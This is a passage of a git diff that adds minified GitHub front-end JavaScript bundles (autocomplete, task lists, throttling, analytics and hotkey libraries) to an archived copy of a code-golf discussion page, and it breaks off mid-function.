u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js new file mode 100644 index 0000000..dfb6b51 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var i=(O,F)=>D(O,"name",{value:F,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"],{80425:(O,F,C)=>{C.d(F,{k:()=>_});var h=function(){for(var l=new Uint32Array(256),p=256;p--;){for(var u=p,g=8;g--;)u=u&1?3988292384^u>>>1:u>>>1;l[p]=u}return function(r){var a=-1;typeof r=="string"&&(r=function(P){for(var I=P.length,T=new Array(I),M=-1;++M>>8^l[a&255^r[f]];return(a^-1)>>>0}}(),E=i(function(l){return l<0&&(l=4294967295+l+1),("0000000"+l.toString(16)).slice(-8)},"hex"),_=i(function(l,p){var u=h(l);return p?E(u):u},"crc32")},3447:(O,F,C)=>{C.d(F,{D:()=>_,P:()=>E});var h=C(46263);function E(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.P)(a,l,p),Object.defineProperty(u,g,r)}}i(E,"throttle");function _(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.D)(a,l,p),Object.defineProperty(u,g,r)}}i(_,"debounce")},46263:(O,F,C)=>{C.d(F,{D:()=>E,P:()=>h});function h(_,l=0,{start:p=!0,middle:u=!0,once:g=!1}={}){let r=0,a,f=!1;function A(...P){if(f)return;const I=Date.now()-r;r=Date.now(),p?(p=!1,_.apply(this,P),g&&A.cancel()):(u&&I{r=Date.now(),_.apply(this,P),g&&A.cancel()},u?l-I:l))}return i(A,"fn"),A.cancel=()=>{clearTimeout(a),f=!0},A}i(h,"throttle");function E(_,l=0,{start:p=!1,middle:u=!1,once:g=!1}={}){return h(_,l,{start:p,middle:u,once:g})}i(E,"debounce")},47142:(O,F,C)=>{C.d(F,{CD:()=>x,Gs:()=>M,m7:()=>R});var h=-1/0,E=1/0,_=-.005,l=-.005,p=-.01,u=1,g=.9,r=.8,a=.7,f=.6;function A(y){return y.toLowerCase()===y}i(A,"islower");function P(y){return y.toUpperCase()===y}i(P,"isupper");function I(y){for(var S=y.length,b=new Array(S),w="/",v=0;v1024)return h;var v=new Array(b),s=new Array(b);return T(y,S,v,s),s[b-1][w-1]}i(M,"score");function R(y,S){var b=y.length,w=S.length,v=new Array(b);if(!b||!w)return v;if(b===w){for(var s=0;s1024)return v;var e=new Array(b),n=new Array(b);T(y,S,e,n);for(var c=!1,s=b-1,t=w-1;s>=0;s--)for(;t>=0;t--)if(e[s][t]!==h&&(c||e[s][t]===n[s][t])){c=s&&t&&n[s][t]===e[s-1][t-1]+u,v[s]=t--;break}return v}i(R,"positions");function x(y,S){y=y.toLowerCase(),S=S.toLowerCase();for(var b=y.length,w=0,v=0;w{C.d(F,{Lj:()=>x,Ih:()=>c,fA:()=>P,GO:()=>I});const h=new WeakSet;function E(t){h.add(t),t.shadowRoot&&_(t.shadowRoot),u(t),p(t.ownerDocument)}i(E,"bind");function _(t){u(t),p(t)}i(_,"bindShadow");const l=new WeakMap;function p(t=document){if(l.has(t))return l.get(t);let o=!1;const d=new MutationObserver(k=>{for(const N of k)if(N.type==="attributes"&&N.target instanceof Element)a(N.target);else if(N.type==="childList"&&N.addedNodes.length)for(const L of N.addedNodes)L instanceof Element&&u(L)});d.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const m={get closed(){return o},unsubscribe(){o=!0,l.delete(t),d.disconnect()}};return l.set(t,m),m}i(p,"listenForBind");function u(t){for(const o of t.querySelectorAll("[data-action]"))a(o);t instanceof Element&&t.hasAttribute("data-action")&&a(t)}i(u,"bindElements");function g(t){const o=t.currentTarget;for(const d of r(o))if(t.type===d.type){const m=o.closest(d.tag);h.has(m)&&typeof m[d.method]=="function"&&m[d.method](t);const k=o.getRootNode();if(k instanceof ShadowRoot&&h.has(k.host)&&k.host.matches(d.tag)){const N=k.host;typeof N[d.method]=="function"&&N[d.method](t)}}}i(g,"handleEvent");function*r(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const d=o.lastIndexOf(":"),m=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,d),tag:o.slice(d+1,m),method:o.slice(m+1)||"handleEvent"}}}i(r,"bindings");function a(t){for(const o of r(t))t.addEventListener(o.type,g)}i(a,"bindActions");function f(t,o){const d=t.tagName.toLowerCase();if(t.shadowRoot){for(const m of t.shadowRoot.querySelectorAll(`[data-target~="${d}.${o}"]`))if(!m.closest(d))return m}for(const m of t.querySelectorAll(`[data-target~="${d}.${o}"]`))if(m.closest(d)===t)return m}i(f,"findTarget");function A(t,o){const d=t.tagName.toLowerCase(),m=[];if(t.shadowRoot)for(const k of t.shadowRoot.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)||m.push(k);for(const k of t.querySelectorAll(`[data-targets~="${d}.${o}"]`))k.closest(d)===t&&m.push(k);return m}i(A,"findTargets");function P(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return f(this,o)}})}i(P,"target");function I(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return A(this,o)}})}i(I,"targets");function T(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}i(T,"register");function M(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(M,"autoShadowRoot");const R=new WeakMap;function x(t,o){R.has(t)||R.set(t,[]),R.get(t).push(o)}i(x,"attr");function y(t,o){o||(o=S(Object.getPrototypeOf(t)));for(const d of o){const m=t[d],k=b(d);let N={configurable:!0,get(){return this.getAttribute(k)||""},set(L){this.setAttribute(k,L||"")}};typeof m=="number"?N={configurable:!0,get(){return Number(this.getAttribute(k)||0)},set(L){this.setAttribute(k,L)}}:typeof m=="boolean"&&(N={configurable:!0,get(){return this.hasAttribute(k)},set(L){this.toggleAttribute(k,L)}}),Object.defineProperty(t,d,N),d in t&&!t.hasAttribute(k)&&N.set.call(t,m)}}i(y,"initializeAttrs");function S(t){const o=new Set;let d=t;for(;d&&d!==HTMLElement;){const m=R.get(d)||[];for(const k of m)o.add(k);d=Object.getPrototypeOf(d)}return o}i(S,"getAttrNames");function b(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(b,"attrToAttributeName");function w(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...S(t.prototype)].map(b).concat(o)},set(d){o=d}})}i(w,"defineObservedAttributes");const v=new WeakSet;function s(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),v.add(t),M(t),y(t),E(t),o&&o.call(t),t.shadowRoot&&_(t.shadowRoot)}i(s,"initializeInstance");function e(t){w(t),T(t)}i(e,"initializeClass");function n(t){return v.has(t)}i(n,"initialized");function c(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){s(this,o)},e(t)}i(c,"controller")},33241:(O,F,C)=>{C.d(F,{BX:()=>u,Z4:()=>_,ck:()=>p});var h=C(47142),E=C(80425);class _{constructor(r,a,f){this.providers=[],this.scopeType="static_items_page",this.title=r,this.scopeId=a,this.providers=[new l(f)]}}i(_,"StaticItemsPage");class l{constructor(r){this.hasCommands=!0,this.debounce=0;const a=r.length;this.items=r.map((f,A)=>(f.priority=a-A,f))}async fetch(r){return{results:this.fuzzyFilter(this.items,r)}}enabledFor(){return!0}clearCache(){}fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(l,"StaticItemsProvider");class p{constructor(r){this.score=0,this.position="",this.title=r.title,this.priority=r.priority,this.group=r.group,this.subtitle=r.subtitle,this.matchFields=r.matchFields,this.typeahead=r.typeahead,this.hint=r.hint,this.icon=r.icon}get matchingFields(){return this.matchFields?this.matchFields:[this.title]}get key(){var r;return`${this.title}-${this.group}-${this.subtitle}-${(r=this.matchFields)==null?void 0:r.join("-")}`}get id(){return this._id||(this._id=(0,E.k)(this.key).toString()),this._id}calculateScore(r){const a=this.matchingFields.map(f=>this.calculateScoreForField({field:f,queryText:r}));return Math.max(...a)}calculateScoreForField({field:r,queryText:a}){return(0,h.CD)(a,r)?(0,h.Gs)(a,r):-1/0}}i(p,"Item");class u{fuzzyFilter(r,a,f=0){if(a.isBlank())return r;const A=[];for(const P of r)P.calculateScore(a.text)>f&&A.push(P);return A}}i(u,"ProviderBase")},86058:(O,F,C)=>{C.d(F,{R:()=>g});function h(){let r;try{r=window.top.document.referrer}catch{if(window.parent)try{r=window.parent.document.referrer}catch{}}return r===""&&(r=document.referrer),r}i(h,"getReferrer");function E(){try{return`${screen.width}x${screen.height}`}catch{return"unknown"}}i(E,"getScreenResolution");function _(){let r=0,a=0;try{return typeof window.innerWidth=="number"?(a=window.innerWidth,r=window.innerHeight):document.documentElement!=null&&document.documentElement.clientWidth!=null?(a=document.documentElement.clientWidth,r=document.documentElement.clientHeight):document.body!=null&&document.body.clientWidth!=null&&(a=document.body.clientWidth,r=document.body.clientHeight),`${a}x${r}`}catch{return"unknown"}}i(_,"getBrowserResolution");function l(){return navigator.languages?navigator.languages.join(","):navigator.language||""}i(l,"getBrowserLanguages");function p(){return{referrer:h(),user_agent:navigator.userAgent,screen_resolution:E(),browser_resolution:_(),browser_languages:l(),pixel_ratio:window.devicePixelRatio,timestamp:Date.now(),tz_seconds:new Date().getTimezoneOffset()*-60}}i(p,"getRequestContext");var u=C(82918);class g{constructor(a){this.options=a}get collectorUrl(){return this.options.collectorUrl}get clientId(){return this.options.clientId?this.options.clientId:(0,u.b)()}createEvent(a){return{page:location.href,title:document.title,context:{...this.options.baseContext,...a}}}sendPageView(a){const f=this.createEvent(a);this.send({page_views:[f]})}sendEvent(a,f){const A={...this.createEvent(f),type:a};this.send({events:[A]})}send({page_views:a,events:f}){const A={client_id:this.clientId,page_views:a,events:f,request_context:p()},P=JSON.stringify(A);try{if(navigator.sendBeacon){navigator.sendBeacon(this.collectorUrl,P);return}}catch{}fetch(this.collectorUrl,{method:"POST",cache:"no-cache",headers:{"Content-Type":"application/json"},body:P,keepalive:!1})}}i(g,"AnalyticsClient")},82918:(O,F,C)=>{C.d(F,{b:()=>p});let h;function E(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}i(E,"generateClientId");function _(u){const g=`GH1.1.${u}`,r=Date.now(),a=new Date(r+1*365*86400*1e3).toUTCString();let{domain:f}=document;f.endsWith(".github.com")&&(f="github.com"),document.cookie=`_octo=${g}; expires=${a}; path=/; domain=${f}; secure; samesite=lax`}i(_,"setClientIdCookie");function l(){let u;const r=document.cookie.match(/_octo=([^;]+)/g);if(!r)return;let a=[0,0];for(const f of r){const[,A]=f.split("="),[,P,...I]=A.split("."),T=P.split("-").map(Number);T>a&&(a=T,u=I.join("."))}return u}i(l,"getClientIdFromCookie");function p(){try{const u=l();if(u)return u;const g=E();return _(g),g}catch{return h||(h=E()),h}}i(p,"getOrCreateClientId")},88149:(O,F,C)=>{C.d(F,{n:()=>h});function h(E="ha"){let _;const l={},p=document.head.querySelectorAll(`meta[name^="${E}-"]`);for(const u of Array.from(p)){const{name:g,content:r}=u,a=g.replace(`${E}-`,"").replace(/-/g,"_");a==="url"?_=r:l[a]=r}if(!_)throw new Error(`AnalyticsClient ${E}-url meta tag not found`);return{collectorUrl:_,...Object.keys(l).length>0?{baseContext:l}:{}}}i(h,"getOptionsFromMeta")},38772:(O,F,C)=>{C.d(F,{dy:()=>S,sY:()=>b,Au:()=>s});var h=C(69567);const E=new WeakSet;function _(e){return E.has(e)}i(_,"isDirective");function l(e,n){return _(n)?(n(e),!0):!1}i(l,"processDirective");function p(e){return(...n)=>{const c=e(...n);return E.add(c),c}}i(p,"directive");const u=new WeakMap;class g{constructor(n,c){this.element=n,this.type=c,this.element.addEventListener(this.type,this),u.get(this.element).set(this.type,this)}set(n){typeof n=="function"?this.handleEvent=n.bind(this.element):typeof n=="object"&&typeof n.handleEvent=="function"?this.handleEvent=n.handleEvent.bind(n):(this.element.removeEventListener(this.type,this),u.get(this.element).delete(this.type))}static for(n){u.has(n.element)||u.set(n.element,new Map);const c=n.attributeName.slice(2),t=u.get(n.element);return t.has(c)?t.get(c):new g(n.element,c)}}i(g,"EventHandler");function r(e,n){return e instanceof h.sV&&e.attributeName.startsWith("on")?(g.for(e).set(n),e.element.removeAttributeNS(e.attributeNamespace,e.attributeName),!0):!1}i(r,"processEvent");function a(e,n){return n instanceof x&&e instanceof h.GZ?(n.renderInto(e),!0):!1}i(a,"processSubTemplate");function f(e,n){return n instanceof DocumentFragment&&e instanceof h.GZ?(n.childNodes.length&&e.replace(...n.childNodes),!0):!1}i(f,"processDocumentFragment");function A(e){return typeof e=="object"&&Symbol.iterator in e}i(A,"isIterable");function P(e,n){if(!A(n))return!1;if(e instanceof h.GZ){const c=[];for(const t of n)if(t instanceof x){const o=document.createDocumentFragment();t.renderInto(o),c.push(...o.childNodes)}else t instanceof DocumentFragment?c.push(...t.childNodes):c.push(String(t));return c.length&&e.replace(...c),!0}else return e.value=Array.from(n).join(" "),!0}i(P,"processIterable");function I(e,n){l(e,n)||(0,h.W_)(e,n)||r(e,n)||a(e,n)||f(e,n)||P(e,n)||(0,h.Al)(e,n)}i(I,"processPart");const T=new WeakMap,M=new WeakMap,R=new WeakMap;class x{constructor(n,c,t){this.strings=n,this.values=c,this.processor=t}get template(){if(T.has(this.strings))return T.get(this.strings);{const n=document.createElement("template"),c=this.strings.length-1;return n.innerHTML=this.strings.reduce((t,o,d)=>t+o+(dn=>{w.has(n)||w.set(n,{i:e.length});const c=w.get(n);for(let t=0;t{tn=>{if(!(n instanceof h.GZ))return;const c=document.createElement("template");c.innerHTML=e;const t=document.importNode(c.content,!0);n.replace(...t.childNodes)})},15205:(O,F,C)=>{C.d(F,{Z:()=>E});function h(..._){return JSON.stringify(_,(l,p)=>typeof p=="object"?p:String(p))}i(h,"defaultHash");function E(_,l={}){const{hash:p=h,cache:u=new Map}=l;return function(...g){const r=p.apply(this,g);if(u.has(r))return u.get(r);let a=_.apply(this,g);return a instanceof Promise&&(a=a.catch(f=>{throw u.delete(r),f})),u.set(r,a),a}}i(E,"memoize")},69567:(O,F,C)=>{C.d(F,{sV:()=>u,GZ:()=>A,R:()=>v,AQ:()=>P,W_:()=>T,Al:()=>I,XK:()=>R});function*h(s){let e="",n=0,c=!1;for(let t=0;ttypeof c=="string"?c:c.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,n)}}}i(g,"AttributeValueSetter");var r=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},a=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},f;class A{constructor(e,n){this.expression=n,f.set(this,void 0),r(this,f,[e]),e.textContent=""}get value(){return a(this,f).map(e=>e.textContent).join("")}set value(e){this.replace(e)}get previousSibling(){return a(this,f)[0].previousSibling}get nextSibling(){return a(this,f)[a(this,f).length-1].nextSibling}replace(...e){const n=e.map(c=>typeof c=="string"?new Text(c):c);n.length||n.push(new Text("")),a(this,f)[0].before(...n);for(const c of a(this,f))c.remove();r(this,f,n)}}i(A,"NodeTemplatePart"),f=new WeakMap;function P(s){return{createCallback(e,n,c){this.processCallback(e,n,c)},processCallback(e,n,c){var t;if(!(typeof c!="object"||!c)){for(const o of n)if(o.expression in c){const d=(t=c[o.expression])!==null&&t!==void 0?t:"";s(o,d)}}}}}i(P,"createProcessor");function I(s,e){s.value=String(e)}i(I,"processPropertyIdentity");function T(s,e){return typeof e=="boolean"&&s instanceof u&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=e,!0):!1}i(T,"processBooleanAttribute");const M=P(I),R=P((s,e)=>{T(s,e)||I(s,e)});var x=function(s,e,n){if(!e.has(s))throw new TypeError("attempted to set private field on non-instance");return e.set(s,n),n},y=function(s,e){if(!e.has(s))throw new TypeError("attempted to get private field on non-instance");return e.get(s)},S,b;function*w(s){const e=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let n;for(;n=e.nextNode();)if(n instanceof Element&&n.hasAttributes())for(let c=0;c{var D=Object.defineProperty;var c=(x,C)=>D(x,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"],{46263:(x,C,N)=>{N.d(C,{D:()=>b,P:()=>p});function p(_,m=0,{start:y=!0,middle:u=!0,once:w=!1}={}){let h=0,l,f=!1;function v(...k){if(f)return;const T=Date.now()-h;h=Date.now(),y?(y=!1,_.apply(this,k),w&&v.cancel()):(u&&T{h=Date.now(),_.apply(this,k),w&&v.cancel()},u?m-T:m))}return c(v,"fn"),v.cancel=()=>{clearTimeout(l),f=!0},v}c(p,"throttle");function b(_,m=0,{start:y=!1,middle:u=!1,once:w=!1}={}){return p(_,m,{start:y,middle:u,once:w})}c(b,"debounce")},11793:(x,C,N)=>{N.d(C,{EL:()=>u,N9:()=>W,Tz:()=>S});class p{constructor(o){this.children=[],this.parent=o}delete(o){const r=this.children.indexOf(o);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(o){return this.children.push(o),this}}c(p,"Leaf");class b{constructor(o){this.parent=null,this.children={},this.parent=o||null}get(o){return this.children[o]}insert(o){let r=this;for(let g=0;gd.filter(n=>n!=="")).filter(d=>d.length>0)}c(y,"expandHotkeyToEdges");function u(a){const{ctrlKey:o,altKey:r,metaKey:g,key:d}=a,n=[],e=[o,r,g,h(a)];for(const[t,i]of e.entries())i&&n.push(w[t]);return w.includes(d)||n.push(d),n.join("+")}c(u,"hotkey");const w=["Control","Alt","Meta","Shift"];function h(a){const{shiftKey:o,code:r,key:g}=a;return o&&!(r.startsWith("Key")&&g.toUpperCase()===g)}c(h,"showShift");const l=new b,f=new WeakMap;let v=l,k=null,T=[];function P(){T=[],k=null,v=l}c(P,"resetTriePosition");function I(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}k!=null&&window.clearTimeout(k),k=window.setTimeout(P,1500);const o=v.get(u(a));if(!o){P();return}if(T.push(u(a)),v=o,o instanceof p){const r=a.target;let 